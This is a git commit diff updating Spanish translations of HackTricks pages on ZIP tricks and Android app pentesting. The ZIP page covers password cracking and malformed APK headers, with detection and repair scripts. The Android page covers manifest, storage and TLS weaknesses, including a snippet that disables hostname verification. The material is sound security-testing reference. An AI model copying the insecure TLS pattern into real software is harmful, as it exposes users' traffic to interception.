mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
parent
8f4d6ba72d
commit
f196254ef2
@ -1,30 +1,30 @@
|
||||
# ZIPs tricks
|
||||
# Trucos de ZIPs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Herramientas de línea de comandos** para gestionar **archivos zip** son esenciales para diagnosticar, reparar y crackear zip files. Aquí hay algunas utilidades clave:
|
||||
|
||||
- **`unzip`**: Revela por qué un archivo zip puede no descomprimirse.
|
||||
- **`zipdetails -v`**: Ofrece un análisis detallado de los campos del formato zip.
|
||||
- **`zipinfo`**: Lista el contenido de un archivo zip sin extraerlo.
|
||||
- **`zip -F input.zip --out output.zip`** y **`zip -FF input.zip --out output.zip`**: Intentan reparar archivos zip corruptos.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Una herramienta para brute-force de contraseñas de zip, efectiva para contraseñas de hasta aproximadamente 7 caracteres.
|
||||
- **`unzip`**: Revela por qué un zip file puede no descomprimirse.
|
||||
- **`zipdetails -v`**: Ofrece análisis detallado de los campos del formato zip.
|
||||
- **`zipinfo`**: Lista el contenido de un zip file sin extraerlo.
|
||||
- **`zip -F input.zip --out output.zip`** y **`zip -FF input.zip --out output.zip`**: Intentan reparar zip files corruptos.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Una herramienta para brute-force cracking de contraseñas de zip, efectiva para contraseñas de hasta alrededor de 7 caracteres.
|
||||
|
||||
La [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) proporciona detalles exhaustivos sobre la estructura y estándares de los archivos zip.
|
||||
La [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) proporciona detalles completos sobre la estructura y los estándares de los zip files.
|
||||
|
||||
Es crucial notar que los archivos zip protegidos por contraseña **no cifran los nombres de archivos ni los tamaños de los archivos** en su interior, un fallo de seguridad que no comparten RAR o 7z, los cuales sí cifran esa información. Además, los archivos zip encriptados con el método antiguo ZipCrypto son vulnerables a un **plaintext attack** si existe una copia no cifrada de un archivo comprimido disponible. Este ataque aprovecha el contenido conocido para crackear la contraseña del zip, una vulnerabilidad detallada en [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) y explicada más a fondo en [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Sin embargo, los archivos zip protegidos con **AES-256** son inmunes a este plaintext attack, lo que demuestra la importancia de elegir métodos de cifrado seguros para datos sensibles.
|
||||
Es crucial notar que los zip files protegidos con contraseña **no cifran los nombres de archivo ni los tamaños de archivo** en su interior, una falla de seguridad que no comparten RAR o 7z, que sí cifran esa información. Además, los zip files cifrados con el método antiguo ZipCrypto son vulnerables a un **plaintext attack** si existe una copia sin cifrar de un archivo comprimido disponible. Este ataque aprovecha el contenido conocido para crackear la contraseña del zip, una vulnerabilidad detallada en el artículo de [HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) y explicada más a fondo en [este paper académico](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Sin embargo, los zip files asegurados con **AES-256** son inmunes a este plaintext attack, lo que demuestra la importancia de elegir métodos de cifrado seguros para datos sensibles.
|
||||
|
||||
---
|
||||
|
||||
## Anti-reversing tricks in APKs using manipulated ZIP headers
|
||||
## Trucos anti-reversing en APKs usando cabeceras ZIP manipuladas
|
||||
|
||||
El malware moderno para Android (droppers) usa metadata ZIP malformada para romper herramientas estáticas (jadx/apktool/unzip) mientras mantiene el APK instalable en el dispositivo. Los trucos más comunes son:
|
||||
El malware moderno para Android utiliza metadata ZIP malformada para romper herramientas estáticas (jadx/apktool/unzip) mientras mantiene el APK instalable en el dispositivo. Los trucos más comunes son:
|
||||
|
||||
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
|
||||
- Abusing large/custom Extra fields to confuse parsers
|
||||
- Colisiones de nombres de archivo/directorio para ocultar artefactos reales (por ejemplo, un directorio llamado `classes.dex/` junto al verdadero `classes.dex`)
|
||||
- Falsa encriptación activando el bit 0 del ZIP General Purpose Bit Flag (GPBF)
|
||||
- Abusar de Extra fields grandes/personalizados para confundir parsers
|
||||
- Colisiones de nombres de archivo/directorio para ocultar artefactos reales (por ejemplo, un directorio llamado `classes.dex/` al lado del real `classes.dex`)
|
||||
|
||||
### 1) Fake encryption (GPBF bit 0 set) without real crypto
|
||||
### 1) Falsa encriptación (GPBF bit 0 activado) sin criptografía real
|
||||
|
||||
Síntomas:
|
||||
- `jadx-gui` falla con errores como:
|
||||
@ -32,7 +32,7 @@ Síntomas:
|
||||
```
|
||||
java.util.zip.ZipException: invalid CEN header (encrypted entry)
|
||||
```
|
||||
- `unzip` pide una contraseña para archivos core del APK aunque un APK válido no puede tener `classes*.dex`, `resources.arsc` o `AndroidManifest.xml` cifrados:
|
||||
- `unzip` solicita una contraseña para archivos principales del APK a pesar de que un APK válido no puede tener `classes*.dex`, `resources.arsc`, o `AndroidManifest.xml` cifrados:
|
||||
|
||||
```bash
|
||||
unzip sample.apk
|
||||
@ -47,7 +47,7 @@ Detección con zipdetails:
|
||||
```bash
|
||||
zipdetails -v sample.apk | less
|
||||
```
|
||||
Mira el General Purpose Bit Flag de los encabezados locales y centrales. Un valor revelador es el bit 0 activado (Encryption) incluso para entradas core:
|
||||
Mira el General Purpose Bit Flag para los encabezados locales y centrales. Un valor revelador es el bit 0 activado (Encryption) incluso para entradas principales:
|
||||
```
|
||||
Extract Zip Spec 2D '4.5'
|
||||
General Purpose Flag 0A09
|
||||
@ -56,9 +56,11 @@ General Purpose Flag 0A09
|
||||
[Bit 3] 1 'Streamed'
|
||||
[Bit 11] 1 'Language Encoding'
|
||||
```
|
||||
Heurística: Si un APK se instala y se ejecuta en el dispositivo pero las entradas principales aparecen "encrypted" para las herramientas, el GPBF fue manipulado.
|
||||
Heurística: Si un APK se instala y se ejecuta en el dispositivo pero las entradas principales aparecen "cifradas" para las herramientas, el GPBF fue manipulado.
|
||||
|
||||
Solución: borrar el bit 0 del GPBF tanto en los Local File Headers (LFH) como en las entradas del Central Directory (CD). Minimal byte-patcher:
|
||||
Solución: borrar el bit 0 del GPBF en las entradas tanto de Local File Headers (LFH) como de Central Directory (CD).
|
||||
|
||||
Parcheador de bytes mínimo:
|
||||
```python
|
||||
# gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
|
||||
import struct, sys
|
||||
@ -96,29 +98,29 @@ zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
|
||||
```
|
||||
Ahora deberías ver `General Purpose Flag 0000` en las entradas principales y las herramientas volverán a analizar el APK.
|
||||
|
||||
### 2) Extra fields grandes/personalizados para romper parsers
|
||||
### 2) Campos Extra grandes/personalizados para romper analizadores
|
||||
|
||||
Los atacantes colocan Extra fields sobredimensionados e IDs extraños en los encabezados para provocar fallos en los decompilers. En entornos reales puede que veas marcadores personalizados (p. ej., cadenas como `JADXBLOCK`) incrustados allí.
|
||||
Los atacantes introducen Extra fields sobredimensionados y IDs extraños en los encabezados para hacer fallar a los descompiladores. En entornos reales puedes ver marcadores personalizados (p. ej., cadenas como `JADXBLOCK`) incrustados allí.
|
||||
|
||||
Inspección:
|
||||
```bash
|
||||
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
|
||||
```
|
||||
Ejemplos observados: IDs desconocidos como `0xCAFE` ("Ejecutable Java") o `0x414A` ("JA:") que contienen grandes cargas útiles.
|
||||
Ejemplos observados: IDs desconocidos como `0xCAFE` ("Ejecutable Java") o `0x414A` ("JA:") que contienen grandes payloads.
|
||||
|
||||
Heurísticas DFIR:
|
||||
- Generar alerta cuando los campos Extra sean inusualmente grandes en entradas principales (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
||||
- Alertar cuando los campos Extra sean inusualmente grandes en las entradas principales (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
|
||||
- Tratar los IDs Extra desconocidos en esas entradas como sospechosos.
|
||||
|
||||
Mitigación práctica: reconstruir el archivo (p. ej., re-zipping de los archivos extraídos) elimina los campos Extra maliciosos. Si las herramientas se niegan a extraer debido a un cifrado falso, primero borre el bit 0 de GPBF como se indicó arriba, y luego reempaque:
|
||||
Mitigación práctica: la reconstrucción del archivo (p. ej., volver a comprimir los archivos extraídos) elimina los campos Extra maliciosos. Si las herramientas se niegan a extraer debido a cifrado falso, primero borra GPBF bit 0 como se indicó arriba, luego vuelve a empaquetar:
|
||||
```bash
|
||||
mkdir /tmp/apk
|
||||
unzip -qq normalized.apk -d /tmp/apk
|
||||
(cd /tmp/apk && zip -qr ../clean.apk .)
|
||||
```
|
||||
### 3) Colisiones de nombres de archivo/directorio (ocultando artefactos reales)
|
||||
### 3) File/Directory name collisions (hiding real artifacts)
|
||||
|
||||
Un ZIP puede contener tanto un archivo `X` como un directorio `X/`. Algunos extractors y decompilers se confunden y pueden sobreponer u ocultar el archivo real con una entrada de directorio. Esto se ha observado con entradas que colisionan con nombres core de APK como `classes.dex`.
|
||||
Un ZIP puede contener tanto un archivo `X` como un directorio `X/`. Algunos extractores y decompiladores se confunden y pueden superponer u ocultar el archivo real con una entrada de directorio. Esto se ha observado con entradas que colisionan con nombres clave de APK como `classes.dex`.
|
||||
|
||||
Triage y extracción segura:
|
||||
```bash
|
||||
@ -131,7 +133,7 @@ unzip normalized.apk -d outdir
|
||||
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
|
||||
# new name: unk_classes.dex
|
||||
```
|
||||
Detección programática post-fix:
|
||||
Sufijo posterior a la detección programática:
|
||||
```python
|
||||
from zipfile import ZipFile
|
||||
from collections import defaultdict
|
||||
@ -149,9 +151,9 @@ if len(variants) > 1:
|
||||
print('COLLISION', base, '->', variants)
|
||||
```
|
||||
Ideas de detección para Blue-team:
|
||||
- Marcar APKs cuyos encabezados locales indiquen cifrado (GPBF bit 0 = 1) pero que aún se instalen/ejecuten.
|
||||
- Marcar APKs cuyos encabezados locales indican cifrado (GPBF bit 0 = 1) pero que se instalan/ejecutan.
|
||||
- Marcar campos Extra grandes/desconocidos en las entradas core (buscar marcadores como `JADXBLOCK`).
|
||||
- Marcar colisiones de ruta (`X` y `X/`) específicamente para `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
||||
- Marcar colisiones de rutas (`X` y `X/`) específicamente para `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
|
||||
|
||||
---
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,10 +1,10 @@
|
||||
# Pentesting de Aplicaciones Android
|
||||
# Pentesting de aplicaciones Android
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Conceptos Básicos de Aplicaciones Android
|
||||
## Fundamentos de aplicaciones Android
|
||||
|
||||
Es altamente recomendable empezar leyendo esta página para conocer las **partes más importantes relacionadas con la seguridad Android y los componentes más peligrosos en una aplicación Android**:
|
||||
Es altamente recomendable comenzar leyendo esta página para conocer las **partes más importantes relacionadas con la seguridad de Android y los componentes más peligrosos en una aplicación Android**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -13,22 +13,22 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Esta es la herramienta principal que necesitas para conectarte a un dispositivo Android (emulado o físico).\
|
||||
**ADB** permite controlar dispositivos tanto por **USB** como por **Network** desde un ordenador. Esta utilidad habilita la **copia** de archivos en ambos sentidos, la **instalación** y **desinstalación** de apps, la **ejecución** de comandos de shell, la **copia de seguridad** de datos, la **lectura** de logs, entre otras funciones.
|
||||
Esta es la herramienta principal que necesitas para conectar con un dispositivo android (emulado o físico).\
|
||||
**ADB** permite controlar dispositivos ya sea por **USB** o **Network** desde un ordenador. Esta utilidad habilita la **copia** de archivos en ambas direcciones, la **instalación** y **desinstalación** de apps, la **ejecución** de comandos de shell, la **copia de seguridad** de datos, la **lectura** de logs, entre otras funciones.
|
||||
|
||||
Consulta la siguiente lista de [**Comandos ADB**](adb-commands.md) para aprender cómo usar adb.
|
||||
Echa un vistazo a la siguiente lista de [**ADB Commands**](adb-commands.md) para aprender cómo usar adb.
|
||||
|
||||
## Smali
|
||||
|
||||
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizá contraseñas bien ofuscadas o flags). Entonces, puede ser interesante decompilar el apk, modificar el código y recompilarlo.\
|
||||
[**En este tutorial** puedes **aprender cómo decompilar un APK, modificar código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto puede ser muy útil como **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Por lo tanto, **mantén siempre en mente esta posibilidad**.
|
||||
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas u otros secretos bien ofuscados). Entonces, puede ser interesante decompilar el apk, modificar el código y recompilarlo.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Esto puede ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Por tanto, **ten siempre en cuenta esta posibilidad**.
|
||||
|
||||
## Otros trucos interesantes
|
||||
|
||||
- [Falsificar tu ubicación en Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (acceso privilegiado sin root basado en ADB)](shizuku-privileged-api.md)
|
||||
- [Explotando mecanismos de actualización in-app inseguros](insecure-in-app-update-rce.md)
|
||||
- [Abusar de Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Descargar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extraer APK del dispositivo:
|
||||
```bash
|
||||
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Estudios de caso y vulnerabilidades
|
||||
## Case Studies & Vulnerabilities
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -61,39 +61,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
## Análisis estático
|
||||
## Análisis Estático
|
||||
|
||||
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
|
||||
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
|
||||
|
||||
### Buscando información interesante
|
||||
|
||||
Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors (hardcoded admin credentials to the app).
|
||||
Con solo examinar las **strings** del APK puedes buscar **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** y cualquier cosa interesante... busca incluso **backdoors** de ejecución de código o backdoors de autenticación (credenciales de admin hardcoded en la app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Presta especial atención a las **Firebase URLs** y verifica si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Comprensión básica de la aplicación - Manifest.xml, strings.xml
|
||||
|
||||
The **examination of an application's _Manifest.xml_ and **_strings.xml_** files can reveal potential security vulnerabilities**. These files can be accessed using decompilers or by renaming the APK file extension to .zip and then unzipping it.
|
||||
La **examinación de los archivos _Manifest.xml_ y **_strings.xml_** de una aplicación puede revelar vulnerabilidades de seguridad potenciales**. Estos archivos pueden accederse usando decompilers o renombrando la extensión del archivo APK a .zip y luego descomprimiéndolo.
|
||||
|
||||
**Vulnerabilidades** identificadas desde el **Manifest.xml** incluyen:
|
||||
**Vulnerabilidades** identificables desde el **Manifest.xml** incluyen:
|
||||
|
||||
- **Aplicaciones debuggable**: Applications set as debuggable (`debuggable="true"`) in the _Manifest.xml_ file pose a risk as they allow connections that can lead to exploitation. For further understanding on how to exploit debuggable applications, refer to a tutorial on finding and exploiting debuggable applications on a device.
|
||||
- **Backup Settings**: The `android:allowBackup="false"` attribute should be explicitly set for applications dealing with sensitive information to prevent unauthorized data backups via adb, especially when usb debugging is enabled.
|
||||
- **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ can specify security details like certificate pins and HTTP traffic settings. An example is allowing HTTP traffic for specific domains.
|
||||
- **Exported Activities and Services**: Identifying exported activities and services in the manifest can highlight components that might be misused. Further analysis during dynamic testing can reveal how to exploit these components.
|
||||
- **Content Providers and FileProviders**: Exposed content providers could allow unauthorized access or modification of data. The configuration of FileProviders should also be scrutinized.
|
||||
- **Broadcast Receivers and URL Schemes**: These components could be leveraged for exploitation, with particular attention to how URL schemes are managed for input vulnerabilities.
|
||||
- **SDK Versions**: The `minSdkVersion`, `targetSDKVersion`, and `maxSdkVersion` attributes indicate the supported Android versions, highlighting the importance of not supporting outdated, vulnerable Android versions for security reasons.
|
||||
- **Debuggable Applications**: Las aplicaciones marcadas como debuggable (`debuggable="true"`) en el _Manifest.xml_ representan un riesgo ya que permiten conexiones que pueden conducir a explotación. Para entender mejor cómo explotar aplicaciones debuggable, consulta un tutorial sobre cómo encontrar y explotar aplicaciones debuggable en un dispositivo.
|
||||
- **Backup Settings**: El atributo `android:allowBackup="false"` debería establecerse explícitamente para aplicaciones que manejan información sensible para prevenir backups no autorizados vía adb, especialmente cuando usb debugging está habilitado.
|
||||
- **Network Security**: Las configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como certificate pins y ajustes de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos.
|
||||
- **Exported Activities and Services**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis más profundo durante pruebas dinámicas puede revelar cómo explotar estos componentes.
|
||||
- **Content Providers and FileProviders**: Los content providers expuestos podrían permitir acceso o modificación no autorizada de datos. La configuración de FileProviders también debe ser escrutada.
|
||||
- **Broadcast Receivers and URL Schemes**: Estos componentes podrían aprovecharse para explotación, con atención especial a cómo se gestionan los URL schemes por posibles vulnerabilidades de entrada.
|
||||
- **SDK Versions**: Los atributos `minSdkVersion`, `targetSDKVersion`, y `maxSdkVersion` indican las versiones de Android soportadas, lo que resalta la importancia de no soportar versiones antiguas y vulnerables de Android por razones de seguridad.
|
||||
|
||||
From the **strings.xml** file, sensitive information such as API keys, custom schemas, and other developer notes can be discovered, underscoring the need for careful review of these resources.
|
||||
Desde el archivo **strings.xml**, se puede descubrir información sensible como API keys, esquemas personalizados y otras notas del desarrollador, lo que subraya la necesidad de revisar cuidadosamente estos recursos.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\
|
||||
In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**.
|
||||
**Tapjacking** es un ataque donde una **malicious** **application** se lanza y **se posiciona encima de una victim application**. Una vez que oculta visiblemente la app víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la app víctima.\
|
||||
En efecto, está **cegando al usuario para que no sepa que en realidad está realizando acciones en la victim app**.
|
||||
|
||||
Find more information in:
|
||||
|
||||
@ -117,36 +117,36 @@ android-task-hijacking.md
|
||||
|
||||
**Internal Storage**
|
||||
|
||||
In Android, files **stored** in **internal** storage are **designed** to be **accessible** exclusively by the **app** that **created** them. This security measure is **enforced** by the Android operating system and is generally adequate for the security needs of most applications. However, developers sometimes utilize modes such as `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` to **allow** files to be **shared** between different applications. Yet, these modes **do not restrict access** to these files by other applications, including potentially malicious ones.
|
||||
En Android, los archivos **almacenados** en **internal** storage están **diseñados** para ser **accesibles** exclusivamente por la **app** que los **creó**. Esta medida de seguridad es **impuesta** por el sistema operativo Android y suele ser adecuada para las necesidades de seguridad de la mayoría de las aplicaciones. Sin embargo, los desarrolladores a veces utilizan modos como `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` para **permitir** que los archivos sean **compartidos** entre distintas aplicaciones. Aun así, estos modos **no restringen el acceso** a esos archivos por otras aplicaciones, incluidas posibles aplicaciones maliciosas.
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Ensure** that the use of `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` is **carefully scrutinized**. These modes **can potentially expose** files to **unintended or unauthorized access**.
|
||||
- **Asegúrate** de que el uso de `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` sea **cuidadosamente escrutado**. Estos modos **pueden exponer** archivos a **accesos no intencionados o no autorizados**.
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verify** the **permissions** set on files created by the app. Specifically, **check** if any files are **set to be readable or writable worldwide**. This can pose a significant security risk, as it would allow **any application** installed on the device, regardless of its origin or intent, to **read or modify** these files.
|
||||
- **Verifica** los **permisos** establecidos en archivos creados por la app. Específicamente, **comprueba** si alguno de los archivos está **establecido como legible o escribible por todo el mundo**. Esto puede implicar un riesgo de seguridad significativo, ya que permitiría que **cualquier aplicación** instalada en el dispositivo, independientemente de su origen o intención, **lea o modifique** esos archivos.
|
||||
|
||||
**External Storage**
|
||||
|
||||
When dealing with files on **external storage**, such as SD Cards, certain precautions should be taken:
|
||||
Al tratar con archivos en **external storage**, como tarjetas SD, deben tomarse ciertas precauciones:
|
||||
|
||||
1. **Accessibility**:
|
||||
- Files on external storage are **globally readable and writable**. This means any application or user can access these files.
|
||||
2. **Security Concerns**:
|
||||
- Given the ease of access, it's advised **not to store sensitive information** on external storage.
|
||||
- External storage can be removed or accessed by any application, making it less secure.
|
||||
3. **Handling Data from External Storage**:
|
||||
- Always **perform input validation** on data retrieved from external storage. This is crucial because the data is from an untrusted source.
|
||||
- Storing executables or class files on external storage for dynamic loading is strongly discouraged.
|
||||
- If your application must retrieve executable files from external storage, ensure these files are **signed and cryptographically verified** before they are dynamically loaded. This step is vital for maintaining the security integrity of your application.
|
||||
1. **Accesibilidad**:
|
||||
- Los archivos en external storage son **globalmente legibles y escribibles**. Esto significa que cualquier aplicación o usuario puede acceder a esos archivos.
|
||||
2. **Preocupaciones de seguridad**:
|
||||
- Dada la facilidad de acceso, se recomienda **no almacenar información sensible** en external storage.
|
||||
- El external storage puede ser removido o accedido por cualquier aplicación, lo que lo hace menos seguro.
|
||||
3. **Manejo de datos desde external storage**:
|
||||
- Siempre **realiza validación de entrada** sobre los datos recuperados desde external storage. Esto es crucial porque los datos provienen de una fuente no confiable.
|
||||
- No se recomienda almacenar ejecutables o archivos de clase en external storage para carga dinámica.
|
||||
- Si tu aplicación debe recuperar archivos ejecutables desde external storage, asegúrate de que dichos archivos estén **firmados y verificados criptográficamente** antes de cargarlos dinámicamente. Este paso es vital para mantener la integridad de seguridad de tu aplicación.
|
||||
|
||||
External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
External storage puede ser **accedido** en `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
|
||||
|
||||
**Sensitive data stored in clear-text**
|
||||
|
||||
- **Shared preferences**: Android allow to each application to easily save xml files in the path `/data/data/<packagename>/shared_prefs/` and sometimes it's possible to find sensitive information in clear-text in that folder.
|
||||
- **Databases**: Android allow to each application to easily save sqlite databases in the path `/data/data/<packagename>/databases/` and sometimes it's possible to find sensitive information in clear-text in that folder.
|
||||
- **Shared preferences**: Android permite a cada aplicación guardar fácilmente archivos xml en la ruta `/data/data/<packagename>/shared_prefs/` y a veces es posible encontrar información sensible en clear-text en esa carpeta.
|
||||
- **Databases**: Android permite a cada aplicación guardar fácilmente bases de datos sqlite en la ruta `/data/data/<packagename>/databases/` y a veces es posible encontrar información sensible en clear-text en esa carpeta.
|
||||
|
||||
### Broken TLS
|
||||
|
||||
@ -157,27 +157,27 @@ For some reason sometimes developers accept all the certificates even if for exa
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Una buena forma de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar Burp CA dentro del dispositivo. También, puedes generar con Burp un certificado para un hostname diferente y usarlo.
|
||||
Una buena manera de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar Burp CA dentro del dispositivo. También, puedes generar con Burp un certificado para un hostname distinto y usarlo.
|
||||
|
||||
### Criptografía rota
|
||||
|
||||
**Poor Key Management Processes**
|
||||
**Procesos deficientes de gestión de claves**
|
||||
|
||||
Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave hardcoded/predictable en el código. Esto no debería hacerse, ya que algo de reversing podría permitir a los atacantes extraer la información confidencial.
|
||||
Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave hardcodeada/predictible en el código. Esto no debería hacerse, ya que algún reversing podría permitir a los atacantes extraer la información confidencial.
|
||||
|
||||
**Use of Insecure and/or Deprecated Algorithms**
|
||||
**Uso de algoritmos inseguros y/o obsoletos**
|
||||
|
||||
Los desarrolladores no deberían usar **deprecated algorithms** para realizar authorisation **checks**, **store** o **send** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si **hashes** se usan para almacenar contraseñas por ejemplo, deberían emplearse hashes resistentes a brute-force con salt.
|
||||
Los desarrolladores no deberían usar **algoritmos obsoletos** para realizar comprobaciones de **autorización**, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se usan **hashes** para almacenar contraseñas, por ejemplo, se deben usar hashes **resistentes** a fuerza bruta con salt.
|
||||
|
||||
### Other checks
|
||||
### Otras comprobaciones
|
||||
|
||||
- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers.
|
||||
- If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence.
|
||||
- If the app is sensitive (like bank apps), it should check if an **emulator** is being used.
|
||||
- If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified.
|
||||
- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
|
||||
- Se recomienda **ofuscar el APK** para dificultar el trabajo de reversing a los atacantes.
|
||||
- Si la app es sensible (como apps bancarias), debería realizar sus **propias comprobaciones para ver si el móvil está rooteado** y actuar en consecuencia.
|
||||
- Si la app es sensible (como apps bancarias), debería verificar si se está usando un **emulador**.
|
||||
- Si la app es sensible (como apps bancarias), debería **comprobar su propia integridad antes de ejecutarse** para verificar si fue modificada.
|
||||
- Usa [**APKiD**](https://github.com/rednaga/APKiD) para comprobar qué compiler/packer/obfuscator se usó para construir el APK
|
||||
|
||||
### React Native Application
|
||||
### Aplicación React Native
|
||||
|
||||
Read the following page to learn how to easily access javascript code of React applications:
|
||||
|
||||
@ -186,7 +186,7 @@ Read the following page to learn how to easily access javascript code of React a
|
||||
react-native-application.md
|
||||
{{#endref}}
|
||||
|
||||
### Xamarin Applications
|
||||
### Aplicaciones Xamarin
|
||||
|
||||
Read the following page to learn how to easily access C# code of a xamarin applications:
|
||||
|
||||
@ -201,13 +201,13 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa
|
||||
|
||||
### Automated Static Code Analysis
|
||||
|
||||
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
|
||||
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** escaneando el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** está **controlada por el usuario**), **sinks** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sinks** que señalan una vulnerabilidad.
|
||||
|
||||
